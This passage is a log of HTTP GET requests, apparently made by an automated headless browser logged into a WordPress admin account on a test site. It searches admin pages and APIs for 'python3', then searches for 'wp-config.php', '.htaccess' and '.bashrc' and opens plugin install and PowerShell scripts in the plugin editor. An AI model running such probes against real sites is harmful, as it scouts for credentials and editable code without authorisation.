HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&action=-1&comment_type&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=hello&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3%26action%3D-1%26new_role%26paged%3D1%26action2%3D-1%26new_role2&action=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3&action=-1&new_role&paged=1&action2=-1&new_role2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&_wpnonce=21dd43bdf4&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&action=-1&comment_type=&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=python3&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=&paged=1&action2=-1&new_role2=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=python3&plugin_status=all", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209928"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=python3&browse=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=python3&number=20", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=autocomplete-user&term=python3&autocomplete_type=add", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/tags?per_page=20&orderby=count&order=desc&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/categories?per_page=20&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pages?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/media?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/blocks?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/pattern-directory/patterns?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/block-directory/search?term=python3&per_page=10&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?p=16", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""} +{"method": "GET", "target": "/?tag=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209934"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?category_name=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""} +{"method": "GET", "target": "/?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/search?search=.htaccess&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Finstall-script.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fscripts%2Fpowershell-setup.ps1&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fassets%2Fdocument.write.js&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=docker-helper%2Fdocker-helper.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 